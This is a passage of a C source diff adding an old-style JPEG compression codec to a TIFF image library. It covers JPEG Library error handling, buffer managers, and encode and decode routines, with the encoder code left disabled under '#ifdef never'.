+      TIFFTAG_WANG_PAGECONTROL      ,TIFF_VARIABLE,1            ,
+      TIFF_LONG     ,FIELD_WANG_PAGECONTROL      ,FALSE,FALSE,"WANG PageControl"
+    },
+
+ /* This is a pseudo tag intended for internal use only by the TIFF Library and
+    its clients, which should never appear in an input/output image file.  It
+    specifies whether the TIFF Library (or its client) should do YCbCr <-> RGB
+    color-space conversion (JPEGCOLORMODE_RAW <=> 0) or whether we should ask
+    the JPEG Library to do it (JPEGCOLORMODE_RGB <=> 1).
+ */
+    {
+      TIFFTAG_JPEGCOLORMODE         ,0            ,0            ,
+      TIFF_ANY      ,FIELD_PSEUDO                ,FALSE,FALSE,"JPEGColorMode"
+    }
+  };
+static const char JPEGLib_name[]={"JPEG Library"},
+                  bad_bps[]={"%u BitsPerSample not allowed for JPEG"},
+                  bad_photometry[]={"PhotometricInterpretation %u not allowed for JPEG"},
+                  bad_subsampling[]={"invalid YCbCr subsampling factor(s)"},
+#                 ifdef never
+                  no_write_frac[]={"fractional scan line discarded"},
+#                 endif
+                  no_read_frac[]={"fractional scan line not read"},
+                  no_jtable_space[]={"No space for JPEGTables"};
+
+/* The following diagnostic subroutines interface with and replace default
+   subroutines in the JPEG Library.  Our basic strategy is to use "setjmp()"/
+   "longjmp()" in order to return control to the TIFF Library when the JPEG
+   library detects an error, and to use TIFF Library subroutines for displaying
+   diagnostic messages to a client application.
+*/
+static void
+TIFFojpeg_error_exit(register j_common_ptr cinfo)
+{
+    char buffer[JMSG_LENGTH_MAX];
+    int code = cinfo->err->msg_code;
+
+    if (((OJPEGState *)cinfo)->is_WANG) {
+	if (code == JERR_SOF_DUPLICATE || code == JERR_SOI_DUPLICATE)
+	    return;	    /* ignore it */
+    }
+
+    (*cinfo->err->format_message)(cinfo,buffer);
+    TIFFError(JPEGLib_name,buffer); /* Display error message */
+    jpeg_abort(cinfo); /* Clean up JPEG Library state */
+    LONGJMP(((OJPEGState *)cinfo)->exit_jmpbuf,1); /* Return to TIFF client */
+}
+
+static void
+TIFFojpeg_output_message(register j_common_ptr cinfo)
+  { char buffer[JMSG_LENGTH_MAX];
+
+ /* This subroutine is invoked only for warning messages, since the JPEG
+    Library's "error_exit" method does its own thing and "trace_level" is never
+    set > 0.
+ */
+    (*cinfo->err->format_message)(cinfo,buffer);
+    TIFFWarning(JPEGLib_name,buffer);
+  }
+
+/* The following subroutines, which also interface with the JPEG Library, exist
+   mainly in limit the side effects of "setjmp()" and convert JPEG normal/error
+   conditions into TIFF Library return codes.
+*/
+#define CALLJPEG(sp,fail,op)(SETJMP((sp)->exit_jmpbuf)?(fail):(op))
+#define CALLVJPEG(sp,op)CALLJPEG(sp,0,((op),1))
+#ifdef never
+
+static int
+TIFFojpeg_create_compress(register OJPEGState *sp)
+  {
+    sp->cinfo.c.err = jpeg_std_error(&sp->err); /* Initialize error handling */
+    sp->err.error_exit = TIFFojpeg_error_exit;
+    sp->err.output_message = TIFFojpeg_output_message;
+    return CALLVJPEG(sp,jpeg_create_compress(&sp->cinfo.c));
+  }
+
+/* The following subroutines comprise a JPEG Library "destination" data manager
+   by directing compressed data from the JPEG Library to a TIFF Library output
+   buffer.
+*/
+static void
+std_init_destination(register j_compress_ptr cinfo){} /* "Dummy" stub */
+
+static boolean
+std_empty_output_buffer(register j_compress_ptr cinfo)
+  {
+#   define sp ((OJPEGState *)cinfo)
+    register TIFF *tif = sp->tif;
+
+    tif->tif_rawcc = tif->tif_rawdatasize; /* Entire buffer has been filled */
+    TIFFFlushData1(tif);
+    sp->dest.next_output_byte = (JOCTET *)tif->tif_rawdata;
+    sp->dest.free_in_buffer = (size_t)tif->tif_rawdatasize;
+    return TRUE;
+#   undef sp
+  }
+
+static void
+std_term_destination(register j_compress_ptr cinfo)
+  {
+#   define sp ((OJPEGState *)cinfo)
+    register TIFF *tif = sp->tif;
+
+ /* NB: The TIFF Library does the final buffer flush. */
+    tif->tif_rawcp = (tidata_t)sp->dest.next_output_byte;
+    tif->tif_rawcc = tif->tif_rawdatasize - (tsize_t)sp->dest.free_in_buffer;
+#   undef sp
+  }
+
+/* Alternate destination manager to output JPEGTables field: */
+
+static void
+tables_init_destination(register j_compress_ptr cinfo)
+  {
+#   define sp ((OJPEGState *)cinfo)
+ /* The "jpegtables_length" field is the allocated buffer size while building */
+    sp->dest.next_output_byte = (JOCTET *)sp->jpegtables;
+    sp->dest.free_in_buffer = (size_t)sp->jpegtables_length;
+#   undef sp
+  }
+
+static boolean
+tables_empty_output_buffer(register j_compress_ptr cinfo)
+  { void *newbuf;
+#   define sp ((OJPEGState *)cinfo)
+
+ /* The entire buffer has been filled, so enlarge it by 1000 bytes. */
+    if (!( newbuf = _TIFFrealloc( (tdata_t)sp->jpegtables
+                                , (tsize_t)(sp->jpegtables_length + 1000)
+                                )
+         )
+       ) ERREXIT1(cinfo,JERR_OUT_OF_MEMORY,100);
+    sp->dest.next_output_byte = (JOCTET *)newbuf + sp->jpegtables_length;
+    sp->dest.free_in_buffer = (size_t)1000;
+    sp->jpegtables = newbuf;
+    sp->jpegtables_length += 1000;
+    return TRUE;
+#   undef sp
+  }
+
+static void
+tables_term_destination(register j_compress_ptr cinfo)
+  {
+#   define sp ((OJPEGState *)cinfo)
+ /* Set tables length to no. of Bytes actually emitted. */
+    sp->jpegtables_length -= sp->dest.free_in_buffer;
+#   undef sp
+  }
+
+/*ARGSUSED*/ static int
+TIFFojpeg_tables_dest(register OJPEGState *sp, TIFF *tif)
+  {
+
+ /* Allocate a working buffer for building tables.  The initial size is 1000
+    Bytes, which is usually adequate.
+ */
+    if (sp->jpegtables) _TIFFfree(sp->jpegtables);
+    if (!(sp->jpegtables = (void*)
+                           _TIFFmalloc((tsize_t)(sp->jpegtables_length = 1000))
+         )
+       )
+      {
+        sp->jpegtables_length = 0;
+        TIFFError("TIFFojpeg_tables_dest",no_jtable_space);
+        return 0;
+      };
+    sp->cinfo.c.dest = &sp->dest;
+    sp->dest.init_destination = tables_init_destination;
+    sp->dest.empty_output_buffer = tables_empty_output_buffer;
+    sp->dest.term_destination = tables_term_destination;
+    return 1;
+  }
+#else /* well, hardly ever */
+
+static int
+_notSupported(register TIFF *tif)
+  { const TIFFCodec *c = TIFFFindCODEC(tif->tif_dir.td_compression);
+
+    TIFFError(tif->tif_name,"%s compression not supported",c->name);
+    return 0;
+  }
+#endif /* never */
+
+/* The following subroutines comprise a JPEG Library "source" data manager by
+   by directing compressed data to the JPEG Library from a TIFF Library input
+   buffer.
+*/
+static void
+std_init_source(register j_decompress_ptr cinfo)
+  {
+#   define sp ((OJPEGState *)cinfo)
+    register TIFF *tif = sp->tif;
+
+    if (sp->src.bytes_in_buffer == 0)
+      {
+        sp->src.next_input_byte = (const JOCTET *)tif->tif_rawdata;
+        sp->src.bytes_in_buffer = (size_t)tif->tif_rawcc;
+      };
+#   undef sp
+  }
+
+static boolean
+std_fill_input_buffer(register j_decompress_ptr cinfo)
+  { static const JOCTET dummy_EOI[2]={0xFF,JPEG_EOI};
+#   define sp ((OJPEGState *)cinfo)
+
+ /* Control should never get here, since an entire strip/tile is read into
+    memory before the decompressor is called; thus, data should have been
+    supplied by the "init_source" method.  ...But, sometimes things fail.
+ */
+    WARNMS(cinfo,JWRN_JPEG_EOF);
+    sp->src.next_input_byte = dummy_EOI; /* Insert a fake EOI marker */
+    sp->src.bytes_in_buffer = sizeof dummy_EOI;
+    return TRUE;
+#   undef sp
+  }
+
+static void
+std_skip_input_data(register j_decompress_ptr cinfo, long num_bytes)
+  {
+#   define sp ((OJPEGState *)cinfo)
+
+    if (num_bytes > 0)
+    {
+      if (num_bytes > (long)sp->src.bytes_in_buffer) /* oops: buffer overrun */
+        (void)std_fill_input_buffer(cinfo);
+      else
+        {
+          sp->src.next_input_byte += (size_t)num_bytes;
+          sp->src.bytes_in_buffer -= (size_t)num_bytes;
+        }
+    }
+#   undef sp
+  }
+
+/*ARGSUSED*/ static void
+std_term_source(register j_decompress_ptr cinfo){} /* "Dummy" stub */
+
+/* Allocate temporary I/O buffers for downsampled data, using values computed in
+   "jpeg_start_{de}compress()".  We use the JPEG Library's allocator so that
+   buffers will be released automatically when done with a strip/tile.  This is
+   also a handy place to compute samplesperclump, bytesperline, etc.
+*/
+static int
+alloc_downsampled_buffers(TIFF *tif,jpeg_component_info *comp_info,
+                          int num_components)
+  { register OJPEGState *sp = OJState(tif);
+
+    sp->samplesperclump = 0;
+    if (num_components > 0)
+      { tsize_t size = sp->cinfo.comm.is_decompressor
+#                    ifdef D_LOSSLESS_SUPPORTED
+                     ? sp->cinfo.d.min_codec_data_unit
+#                    else
+                     ? DCTSIZE
+#                    endif
+#                    ifdef C_LOSSLESS_SUPPORTED
+                     : sp->cinfo.c.data_unit;
+#                    else
+                     : DCTSIZE;
+#                    endif
+        int ci = 0;
+        register jpeg_component_info *compptr = comp_info;
+
+        do
+          { JSAMPARRAY buf;
+
+            sp->samplesperclump +=
+              compptr->h_samp_factor * compptr->v_samp_factor;
+#           if defined(C_LOSSLESS_SUPPORTED) || defined(D_LOSSLESS_SUPPORTED)
+            if (!(buf = CALLJPEG(sp,0,(*sp->cinfo.comm.mem->alloc_sarray)(&sp->cinfo.comm,JPOOL_IMAGE,compptr->width_in_data_units*size,compptr->v_samp_factor*size))))
+#           else
+            if (!(buf = CALLJPEG(sp,0,(*sp->cinfo.comm.mem->alloc_sarray)(&sp->cinfo.comm,JPOOL_IMAGE,compptr->width_in_blocks*size,compptr->v_samp_factor*size))))
+#           endif
+              return 0;
+            sp->ds_buffer[ci] = buf;
+          }
+        while (++compptr,++ci < num_components);
+      };
+    return 1;
+  }
+#ifdef never
+
+/* JPEG Encoding begins here. */
+
+/*ARGSUSED*/ static int
+OJPEGEncode(register TIFF *tif,tidata_t buf,tsize_t cc,tsample_t s)
+  { tsize_t rows;                          /* No. of unprocessed rows in file */
+    register OJPEGState *sp = OJState(tif);
+
+ /* Encode a chunk of pixels, where returned data is NOT down-sampled (the
+    standard case).  The data is expected to be written in scan-line multiples.
+ */
+    if (cc % sp->bytesperline) TIFFWarning(tif->tif_name,no_write_frac);
+    if ( (cc /= bytesperline)      /* No. of complete rows in caller's buffer */
+       > (rows = sp->cinfo.c.image_height - sp->cinfo.c.next_scanline)
+       ) cc = rows;
+    while (--cc >= 0)
+      {
+        if (   CALLJPEG(sp,-1,jpeg_write_scanlines(&sp->cinfo.c,(JSAMPARRAY)&buf,1))
+            != 1
+           ) return 0;
+        ++tif->tif_row;
+        buf += sp->bytesperline;
+      };
+    return 1;
+  }
+
+/*ARGSUSED*/ static int
+OJPEGEncodeRaw(register TIFF *tif,tidata_t buf,tsize_t cc,tsample_t s)
+  { tsize_t rows;                          /* No. of unprocessed rows in file */
+    JDIMENSION lines_per_MCU, size;
+    register OJPEGState *sp = OJState(tif);
+
+ /* Encode a chunk of pixels, where returned data is down-sampled as per the
+    sampling factors.  The data is expected to be written in scan-line
+    multiples.
+ */
+    cc /= sp->bytesperline;
+    if (cc % sp->bytesperline) TIFFWarning(tif->tif_name,no_write_frac);
+    if ( (cc /= bytesperline)      /* No. of complete rows in caller's buffer */
+       > (rows = sp->cinfo.c.image_height - sp->cinfo.c.next_scanline)
+       ) cc = rows;
+#   ifdef C_LOSSLESS_SUPPORTED
+    lines_per_MCU = sp->cinfo.c.max_samp_factor*(size = sp->cinfo.d.data_unit);
+#   else
+    lines_per_MCU = sp->cinfo.c.max_samp_factor*(size = DCTSIZE);
+#   endif
+    while (--cc >= 0)
+      { int ci = 0, clumpoffset = 0;
+        register jpeg_component_info *compptr = sp->cinfo.c.comp_info;
+
+     /* The fastest way to separate the data is to make 1 pass over the scan
+        line for each row of each component.
+     */
+        do
+          { int ypos = 0;
+
+            do
+              { int padding;
+                register JSAMPLE *inptr = (JSAMPLE*)buf + clumpoffset,
+                                 *outptr =
+                  sp->ds_buffer[ci][sp->scancount*compptr->v_samp_factor+ypos];
+             /* Cb,Cr both have sampling factors 1, so this is correct */
+                register int clumps_per_line =
+                  sp->cinfo.c.comp_info[1].downsampled_width,
+                             xpos;
+
+                padding = (int)
+#                         ifdef C_LOSSLESS_SUPPORTED
+                          ( compptr->width_in_data_units * size
+#                         else
+                          ( compptr->width_in_blocks * size
+#                         endif
+                          - clumps_per_line * compptr->h_samp_factor
+                          );
+                if (compptr->h_samp_factor == 1) /* Cb & Cr fast path */
+                  do *outptr++ = *inptr;
+                  while ((inptr += sp->samplesperclump),--clumps_per_line > 0);
+                else /* general case */
+                  do
+                    {
+                      xpos = 0;
+                      do *outptr++ = inptr[xpos];
+                      while (++xpos < compptr->h_samp_factor);
+                    }
+                  while ((inptr += sp->samplesperclump),--clumps_per_line > 0);
+                xpos = 0; /* Pad each scan line as needed */
+                do outptr[0] = outptr[-1]; while (++outptr,++xpos < padding);
+                clumpoffset += compptr->h_samp_factor;
+              }
+            while (++ypos < compptr->v_samp_factor);
+          }
+        while (++compptr,++ci < sp->cinfo.c.num_components);
+        if (++sp->scancount >= size)
+          {
+            if (   CALLJPEG(sp,-1,jpeg_write_raw_data(&sp->cinfo.c,sp->ds_buffer,lines_per_MCU))
+                != lines_per_MCU
+               ) return 0;
+            sp->scancount = 0;
+          };
+        ++tif->tif_row++
+        buf += sp->bytesperline;
+      };
+    return 1;
+  }
+
+static int
+OJPEGSetupEncode(register TIFF *tif)
+  { static const char module[]={"OJPEGSetupEncode"};
+    uint32 segment_height, segment_width;
+    int status = 1;                              /* Assume success by default */
+    register OJPEGState *sp = OJState(tif);
+#   define td (&tif->tif_dir)
+
+ /* Verify miscellaneous parameters.  This will need work if the TIFF Library
+    ever supports different depths for different components, or if the JPEG
+    Library ever supports run-time depth selection.  Neither seems imminent.
+ */
+    if (td->td_bitspersample != 8)
+      {
+        TIFFError(module,bad_bps,td->td_bitspersample);
+        status = 0;
+      };
+
+ /* The TIFF Version 6.0 specification and IJG JPEG Library accept different
+    sets of color spaces, so verify that our image belongs to the common subset
+    and map its photometry code, then initialize to handle subsampling and
+    optional JPEG Library YCbCr <-> RGB color-space conversion.
+ */
+    switch (td->td_photometric)
+      {
+        case PHOTOMETRIC_YCBCR     :
+
+       /* ISO IS 10918-1 requires that JPEG subsampling factors be 1-4, but
+          TIFF Version 6.0 is more restrictive: only 1, 2, and 4 are allowed.
+       */
+          if (   (   td->td_ycbcrsubsampling[0] == 1
+                  || td->td_ycbcrsubsampling[0] == 2
+                  || td->td_ycbcrsubsampling[0] == 4
+                 )
+              && (   td->td_ycbcrsubsampling[1] == 1
+                  || td->td_ycbcrsubsampling[1] == 2
+                  || td->td_ycbcrsubsampling[1] == 4
+                 )
+             )
+            sp->cinfo.c.raw_data_in =
+              ( (sp->h_sampling = td->td_ycbcrsubsampling[0]) << 3
+              | (sp->v_sampling = td->td_ycbcrsubsampling[1])
+              ) != 011;
+          else
+            {
+              TIFFError(module,bad_subsampling);
+              status = 0;
+            };
+
+       /* A ReferenceBlackWhite field MUST be present, since the default value
+          is inapproriate for YCbCr.  Fill in the proper value if the
+          application didn't set it.
+       */
+          if (!TIFFFieldSet(tif,FIELD_REFBLACKWHITE))
+            { float refbw[6];
+              long top = 1L << td->td_bitspersample;
+ 
+              refbw[0] = 0;
+              refbw[1] = (float)(top-1L);
+              refbw[2] = (float)(top>>1);
+              refbw[3] = refbw[1];
+              refbw[4] = refbw[2];
+              refbw[5] = refbw[1];
+              TIFFSetField(tif,TIFFTAG_REFERENCEBLACKWHITE,refbw);
+            };
+          sp->cinfo.c.jpeg_color_space = JCS_YCbCr;
+          if (sp->jpegcolormode == JPEGCOLORMODE_RGB)
+            {
+              sp->cinfo.c.raw_data_in = FALSE;
+              sp->in_color_space = JCS_RGB;
+              break;
+            };
+          goto L2;
+        case PHOTOMETRIC_MINISBLACK:
+          sp->cinfo.c.jpeg_color_space = JCS_GRAYSCALE;
+          goto L1;
+        case PHOTOMETRIC_RGB       :
+          sp->cinfo.c.jpeg_color_space = JCS_RGB;
+          goto L1;
+        case PHOTOMETRIC_SEPARATED :
+          sp->cinfo.c.jpeg_color_space = JCS_CMYK;
+      L1: sp->jpegcolormode = JPEGCOLORMODE_RAW; /* No JPEG Lib. conversion */
+      L2: sp->cinfo.d.in_color_space = sp->cinfo.d.jpeg_color-space;
+          break;
+        default                    :
+          TIFFError(module,bad_photometry,td->td_photometric);
+          status = 0;
+      };
+    tif->tif_encoderow = tif->tif_encodestrip = tif->tif_encodetile =
+      sp->cinfo.c.raw_data_in ? OJPEGEncodeRaw : OJPEGEncode;
+    if (isTiled(tif))
+      { tsize_t size;
+
+#       ifdef C_LOSSLESS_SUPPORTED
+        if ((size = sp->v_sampling*sp->cinfo.c.data_unit) < 16) size = 16;
+#       else
+        if ((size = sp->v_sampling*DCTSIZE) < 16) size = 16;
+#       endif
+        if ((segment_height = td->td_tilelength) % size)
+          {
+            TIFFError(module,"JPEG tile height must be multiple of %d",size);
+            status = 0;
+          };
+#       ifdef C_LOSSLESS_SUPPORTED
+        if ((size = sp->h_sampling*sp->cinfo.c.data_unit) < 16) size = 16;
+#       else
+        if ((size = sp->h_sampling*DCTSIZE) < 16) size = 16;
+#       endif
+        if ((segment_width = td->td_tilewidth) % size)
+          {
+            TIFFError(module,"JPEG tile width must be multiple of %d",size);
+            status = 0;
+          };
+        sp->bytesperline = TIFFTileRowSize(tif);
+      }
+    else
+      { tsize_t size;
+
+#       ifdef C_LOSSLESS_SUPPORTED
+        if ((size = sp->v_sampling*sp->cinfo.c.data_unit) < 16) size = 16;
+#       else
+        if ((size = sp->v_sampling*DCTSIZE) < 16) size = 16;
+#       endif
+        if (td->td_rowsperstrip < (segment_height = td->td_imagelength))
+          {
+            if (td->td_rowsperstrip % size)
+              {
+                TIFFError(module,"JPEG RowsPerStrip must be multiple of %d",size);
+                status = 0;
+              };
+            segment_height = td->td_rowsperstrip;
+          };
+        segment_width = td->td_imagewidth;
+        sp->bytesperline = tif->tif_scanlinesize;
+      };
+    if (segment_width > 65535 || segment_height > 65535)
+      {
+        TIFFError(module,"Strip/tile too large for JPEG");
+        status = 0;
+      };
+
+ /* Initialize all JPEG parameters to default values.  Note that the JPEG
+    Library's "jpeg_set_defaults()" method needs legal values for the
+    "in_color_space" and "input_components" fields.
+ */
+    sp->cinfo.c.input_components = 1; /* Default for JCS_UNKNOWN */
+    if (!CALLVJPEG(sp,jpeg_set_defaults(&sp->cinfo.c))) status = 0;
+    switch (sp->jpegtablesmode & (JPEGTABLESMODE_HUFF|JPEGTABLESMODE_QUANT))
+      { register JHUFF_TBL *htbl;
+        register JQUANT_TBL *qtbl;
+
+        case 0                                       :
+          sp->cinfo.c.optimize_coding = TRUE;
+        case JPEGTABLESMODE_HUFF                     :
+          if (!CALLVJPEG(sp,jpeg_set_quality(&sp->cinfo.c,sp->jpegquality,FALSE)))
+            return 0;
+          if (qtbl = sp->cinfo.c.quant_tbl_ptrs[0]) qtbl->sent_table = FALSE;
+          if (qtbl = sp->cinfo.c.quant_tbl_ptrs[1]) qtbl->sent_table = FALSE;
+          goto L3;
+        case JPEGTABLESMODE_QUANT                    :
+          sp->cinfo.c.optimize_coding = TRUE;
+
+       /* We do not support application-supplied JPEG tables, so mark the field
+          "not present".
+       */
+      L3: TIFFClrFieldBit(tif,FIELD_JPEGTABLES);
+          break;
+        case JPEGTABLESMODE_HUFF|JPEGTABLESMODE_QUANT:
+          if (   !CALLVJPEG(sp,jpeg_set_quality(&sp->cinfo.c,sp->jpegquality,FALSE))
+              || !CALLVJPEG(sp,jpeg_suppress_tables(&sp->cinfo.c,TRUE))
+             )
+            {
+              status = 0;
+              break;
+            };
+          if (qtbl = sp->cinfo.c.quant_tbl_ptrs[0]) qtbl->sent_table = FALSE;
+          if (htbl = sp->cinfo.c.dc_huff_tbl_ptrs[0]) htbl->sent_table = FALSE;
+          if (htbl = sp->cinfo.c.ac_huff_tbl_ptrs[0]) htbl->sent_table = FALSE;
+          if (sp->cinfo.c.jpeg_color_space == JCS_YCbCr)
+            {
+              if (qtbl = sp->cinfo.c.quant_tbl_ptrs[1])
+                qtbl->sent_table = FALSE;
+              if (htbl = sp->cinfo.c.dc_huff_tbl_ptrs[1])
+                htbl->sent_table = FALSE;
+              if (htbl = sp->cinfo.c.ac_huff_tbl_ptrs[1])
+                htbl->sent_table = FALSE;
+            };
+          if (   TIFFojpeg_tables_dest(sp,tif)
+              && CALLVJPEG(sp,jpeg_write_tables(&sp->cinfo.c))
+             )
+            {
+    
+           /* Mark the field "present".  We can't use "TIFFSetField()" because
+              "BEENWRITING" is already set!
+           */
+              TIFFSetFieldBit(tif,FIELD_JPEGTABLES);
+              tif->tif_flags |= TIFF_DIRTYDIRECT;
+            }
+          else status = 0;
+      };
+    if (   sp->cinfo.c.raw_data_in
+        && !alloc_downsampled_buffers(tif,sp->cinfo.c.comp_info,
+                                      sp->cinfo.c.num_components)
+       ) status = 0;
+    if (status == 0) return 0; /* If TIFF errors, don't bother to continue */
+ /* Grab parameters that are same for all strips/tiles. */
+
+    sp->dest.init_destination = std_init_destination;
+    sp->dest.empty_output_buffer = std_empty_output_buffer;
+    sp->dest.term_destination = std_term_destination;
+    sp->cinfo.c.dest = &sp->dest;
+    sp->cinfo.c.data_precision = td->td_bitspersample;
+    sp->cinfo.c.write_JFIF_header = /* Don't write extraneous markers */
+    sp->cinfo.c.write_Adobe_marker = FALSE;
+    sp->cinfo.c.image_width = segment_width;
+    sp->cinfo.c.image_height = segment_height;
+    sp->cinfo.c.comp_info[0].h_samp_factor =
+    sp->cinfo.c.comp_info[0].v_samp_factor = 1;
+    return CALLVJPEG(sp,jpeg_start_compress(&sp->cinfo.c,FALSE));
+#   undef td
+  }
+
+static int
+OJPEGPreEncode(register TIFF *tif,tsample_t s)
+  { register OJPEGState *sp = OJState(tif);
+#   define td (&tif->tif_dir)
+
+ /* If we are about to write the first row of an image plane, which should
+    coincide with a JPEG "scan", reset the JPEG Library's compressor.  Otherwise
+    let the compressor run "as is" and return a "success" status without further
+    ado.
+ */
+    if (     (isTiled(tif) ? tif->tif_curtile : tif->tif_curstrip)
+           % td->td_stripsperimage
+        == 0
+       )
+      {
+        if (   (sp->cinfo.c.comp_info[0].component_id = s) == 1)
+            && sp->cinfo.c.jpeg_color_space == JCS_YCbCr
+           )
+          {
+            sp->cinfo.c.comp_info[0].quant_tbl_no =
+            sp->cinfo.c.comp_info[0].dc_tbl_no =
+            sp->cinfo.c.comp_info[0].ac_tbl_no = 1;
+            sp->cinfo.c.comp_info[0].h_samp_factor = sp->h_sampling;
+            sp->cinfo.c.comp_info[0].v_samp_factor = sp->v_sampling;
+    
+         /* Scale expected strip/tile size to match a downsampled component. */
+    
+            sp->cinfo.c.image_width = TIFFhowmany(segment_width,sp->h_sampling);
+            sp->cinfo.c.image_height=TIFFhowmany(segment_height,sp->v_sampling);
+          };
+        sp->scancount = 0; /* Mark subsampling buffer(s) empty */
+      };
+    return 1;
+#   undef td
+  }
+
+static int
+OJPEGPostEncode(register TIFF *tif)
+  { register OJPEGState *sp = OJState(tif);
+
+ /* Finish up at the end of a strip or tile. */
+
+    if (sp->scancount > 0) /* emit partial buffer of down-sampled data */
+      { JDIMENSION n;
+
+#       ifdef C_LOSSLESS_SUPPORTED
+        if (   sp->scancount < sp->cinfo.c.data_unit
+            && sp->cinfo.c.num_components > 0
+           )
+#       else
+        if (sp->scancount < DCTSIZE && sp->cinfo.c.num_components > 0)
+#       endif
+          { int ci = 0,                            /* Pad the data vertically */
+#           ifdef C_LOSSLESS_SUPPORTED
+                size = sp->cinfo.c.data_unit;
+#           else
+                size = DCTSIZE;
+#           endif
+            register jpeg_component_info *compptr = sp->cinfo.c.comp_info;
+
+            do
+#              ifdef C_LOSSLESS_SUPPORTED
+               { tsize_t row_width = compptr->width_in_data_units
+#              else
+                 tsize_t row_width = compptr->width_in_blocks
+#              endif
+                   *size*sizeof(JSAMPLE);
+                 int ypos = sp->scancount*compptr->v_samp_factor;
+
+                 do _TIFFmemcpy( (tdata_t)sp->ds_buffer[ci][ypos]
+                               , (tdata_t)sp->ds_buffer[ci][ypos-1]
+                               , row_width
+                               );
+                 while (++ypos < compptr->v_samp_factor*size);
+               }
+            while (++compptr,++ci < sp->cinfo.c.num_components);
+          };
+        n = sp->cinfo.c.max_v_samp_factor*size;
+        if (CALLJPEG(sp,-1,jpeg_write_raw_data(&sp->cinfo.c,sp->ds_buffer,n)) != n)
+          return 0;
+      };
+    return CALLVJPEG(sp,jpeg_finish_compress(&sp->cinfo.c));
+  }
+#endif /* never */
+
+/* JPEG Decoding begins here. */
+
+/*ARGSUSED*/ static int
+OJPEGDecode(register TIFF *tif,tidata_t buf,tsize_t cc,tsample_t s)
+  { tsize_t bytesperline = isTiled(tif)
+                         ? TIFFTileRowSize(tif)
+                         : tif->tif_scanlinesize,
+            rows;                          /* No. of unprocessed rows in file */
+    register OJPEGState *sp = OJState(tif);
+
+ /* Decode a chunk of pixels, where the input data has not NOT been down-
+    sampled, or else the TIFF Library's client has used the "JPEGColorMode" TIFF
+    pseudo-tag to request that the JPEG Library do color-space conversion; this
+    is the normal case.  The data is expected to be read in scan-line multiples,
+    and this subroutine is called for both pixel-interleaved and separate color
+    planes.
+
+    WARNING:  Unlike "OJPEGDecodeRawContig()", below, the no. of Bytes in each
+              decoded row is calculated here as "bytesperline" instead of
+    using "sp->bytesperline", which might be a little smaller.  This can
+    occur for an old tiled image whose width isn't a multiple of 8 pixels.
+    That's illegal according to the TIFF Version 6 specification, but some
+    test files, like "zackthecat.tif", were built that way.  In those cases,
+    we want to embed the image's true width in our caller's buffer (which is
+    presumably allocated according to the expected tile width) by
+    effectively "padding" it with unused Bytes at the end of each row.
+ */
+    if ( (cc /= bytesperline)      /* No. of complete rows in caller's buffer */
+       > (rows = sp->cinfo.d.output_height - sp->cinfo.d.output_scanline)
+       ) cc = rows;
+    while (--cc >= 0)
+      {
+        if (   CALLJPEG(sp,-1,jpeg_read_scanlines(&sp->cinfo.d,(JSAMPARRAY)&buf,1))
+            != 1
+           ) return 0;
+        buf += bytesperline;
+        ++tif->tif_row;
+      };
+
+ /* BEWARE OF KLUDGE:  If our input file was produced by Microsoft's Wang
+                       Imaging for Windows application, the DC coefficients of
+    each JPEG image component (Y,Cb,Cr) must be reset at the end of each TIFF
+    "strip", and any JPEG data bits remaining in the current Byte of the
+    decoder's input buffer must be discarded.  To do so, we create an "ad hoc"
+    interface in the "jdhuff.c" module of IJG JPEG Library Version 6 (module
+    "jdshuff.c", if Ken Murchison's lossless-Huffman patch is applied), and we
+    invoke that interface here after decoding each "strip".
+ */
+    if (sp->is_WANG) jpeg_reset_huff_decode(&sp->cinfo.d);
+    return 1;
+  }
+
+/*ARGSUSED*/ static int
+OJPEGDecodeRawContig(register TIFF *tif,tidata_t buf,tsize_t cc,tsample_t s)
+  { tsize_t rows;                          /* No. of unprocessed rows in file */
+    JDIMENSION lines_per_MCU, size;
+    register OJPEGState *sp = OJState(tif);
+
+ /* Decode a chunk of pixels, where the input data has pixel-interleaved color
+    planes, some of which have been down-sampled, but the TIFF Library's client
+    has NOT used the "JPEGColorMode" TIFF pseudo-tag to request that the JPEG
+    Library do color-space conversion.  In other words, we must up-sample/
+    expand/duplicate image components according to the image's sampling factors,
+    without changing its color space.  The data is expected to be read in scan-
+    line multiples.
+ */
+    if ( (cc /= sp->bytesperline)  /* No. of complete rows in caller's buffer */
+       > (rows = sp->cinfo.d.output_height - sp->cinfo.d.output_scanline)
+       ) cc = rows;
+    lines_per_MCU = sp->cinfo.d.max_v_samp_factor
+#   ifdef D_LOSSLESS_SUPPORTED
+                  * (size = sp->cinfo.d.min_codec_data_unit);
+#   else
+                  * (size = DCTSIZE);
+#   endif
+    while (--cc >= 0)
+      { int clumpoffset, ci;
+        register jpeg_component_info *compptr;
+
+        if (sp->scancount >= size) /* reload downsampled-data buffers */
+          {
+            if (   CALLJPEG(sp,-1,jpeg_read_raw_data(&sp->cinfo.d,sp->ds_buffer,lines_per_MCU))
+                != lines_per_MCU
+               ) return 0;
+            sp->scancount = 0;
+          };
+
+     /* The fastest way to separate the data is: make 1 pass over the scan
+        line for each row of each component.
+     */
+        clumpoffset = ci = 0;
+        compptr = sp->cinfo.d.comp_info;
+        do
+          { int ypos = 0;
+
+            if (compptr->h_samp_factor == 1) /* fast path */
+              do
+                { register JSAMPLE *inptr =
+                    sp->ds_buffer[ci][sp->scancount*compptr->v_samp_factor+ypos],
+                                   *outptr = (JSAMPLE *)buf + clumpoffset;
+                  register int clumps_per_line = compptr->downsampled_width;
+
+                  do *outptr = *inptr++;
+                  while ((outptr += sp->samplesperclump),--clumps_per_line > 0);
+                }
+              while ( (clumpoffset += compptr->h_samp_factor)
+                    , ++ypos < compptr->v_samp_factor
+                    );
+            else /* general case */
+              do
+                { register JSAMPLE *inptr =
+                    sp->ds_buffer[ci][sp->scancount*compptr->v_samp_factor+ypos],
+                                   *outptr = (JSAMPLE *)buf + clumpoffset;
+                  register int clumps_per_line = compptr->downsampled_width;
+
+                  do
+                    { register int xpos = 0;
+
+                      do outptr[xpos] = *inptr++;
+                      while (++xpos < compptr->h_samp_factor);
+                    }
+                  while ((outptr += sp->samplesperclump),--clumps_per_line > 0);
+                }
+              while ( (clumpoffset += compptr->h_samp_factor)
+                    , ++ypos < compptr->v_samp_factor
+                    );
+          }
+        while (++compptr,++ci < sp->cinfo.d.num_components);
+        ++sp->scancount;
+        buf += sp->bytesperline;
+        ++tif->tif_row;
+      };
+
+ /* BEWARE OF KLUDGE:  If our input file was produced by Microsoft's Wang
+                       Imaging for Windows application, the DC coefficients of
+    each JPEG image component (Y,Cb,Cr) must be reset at the end of each TIFF
+    "strip", and any JPEG data bits remaining in the current Byte of the
